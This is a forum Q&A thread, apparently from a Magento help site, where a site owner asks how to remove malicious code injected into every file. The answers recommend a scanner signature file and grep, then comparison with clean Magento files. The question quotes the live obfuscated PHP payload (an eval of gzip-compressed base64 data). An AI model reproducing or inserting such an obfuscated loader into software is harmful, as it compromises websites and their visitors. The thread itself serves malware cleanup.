I am seeing some malicious code in the website. Each files of every folder is affected by this code. How to remove this code from the website?

Is any script to remove or replace this malicious code?

<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?>

You need to download file from mwscan.s3.amazonaws.com/mwscan.txt

follow below steps

  • save file with name mwscan.txt or with other name with txt format.
  • Put file into your magento directory root.
  • Open terminal and goto magento directory
  • fire this command => grep -Erlf mwscan.txt filename/directory-name

grep -Erlf mwscan.txt index.php

grep -Erlf mwscan.txt app

  • This will give you result as filenames which have malicious code.

Hope this Helps.

source : https://github.com/gwillem/magento-malware-scanner/blob/master/docs/usage.md

  • Thanks @Dharmesh, But I am asking to remove that code. – Vinod Kumar Oct 30 '18 at 6:45
  • You can simply compare file with fresh magento file and remove code – Dharmesh Oct 30 '18 at 6:50
  • any other way to remove – Vinod Kumar Oct 30 '18 at 7:20
  • i don't thinks so, because magento also have this type of code to encrypt password, api details etc. so its better to do this manually . once you get list of files of malicious code, you can compare files with fresh magento version files. – Dharmesh Oct 30 '18 at 7:24

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.